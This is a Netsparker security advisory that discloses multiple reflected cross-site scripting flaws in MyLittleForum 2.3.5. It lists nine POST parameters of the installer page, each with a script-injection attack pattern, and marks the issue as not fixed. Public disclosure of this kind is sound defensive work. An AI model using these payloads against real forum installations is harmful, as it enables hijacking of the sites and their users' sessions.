Information
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Advisory by Netsparker
Name: Multiple Reflected XSS Vulnerabilities in MyLittleForum
Affected Software : MyLittleForum
Affected Versions: 2.3.5
Vendor Homepage : https://github.com/ilosuna/mylittleforum/ 
Vulnerability Type : Cross-site Scripting
Severity : Important
Status : Not Fixed
Netsparker Advisory Reference : NS-17-002

Technical Details
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Proof of Concept URL for XSSes vulnerabilities in MyLittleForum;

URL /mylittleforum/install/index.php
Parameter Name admin_email
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>alert(0x003F12)</scRipt>

URL /mylittleforum/install/index.php
Parameter Name admin_name
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>alert(0x003F10)</scRipt>

URL /mylittleforum/install/index.php
Parameter Name forum_name
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>alert(0x003F02)</scRipt>

URL /mylittleforum/install/index.php
Parameter Name table_prefix
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>alert(0x003FA4)</scRipt>

URL /mylittleforum/install/index.php
Parameter Name forum_email
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>alert(0x003F0E)</scRipt>

URL /mylittleforum/install/index.php
Parameter Name database
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>alert(0x003F72)</scRipt>

URL /mylittleforum/install/index.php
Parameter Name user
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>alert(0x003F74)</scRipt>

URL /mylittleforum/install/index.php
Parameter Name host
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>alert(0x003F70)</scRipt>

URL /mylittleforum/install/index.php
Parameter Name forum_address
Parameter Type POST
Attack Pattern '"--></style></scRipt><scRipt>alert(0x003F0C)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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29 Jul 2016 - Issue reported
Jul 2016 - Jan 2017 - Several attempts to get in touch
24 Jan 2017 - Advisory released

Solution
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-

Credits & Authors
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This issues has been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

About Netsparker
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Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine's unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.

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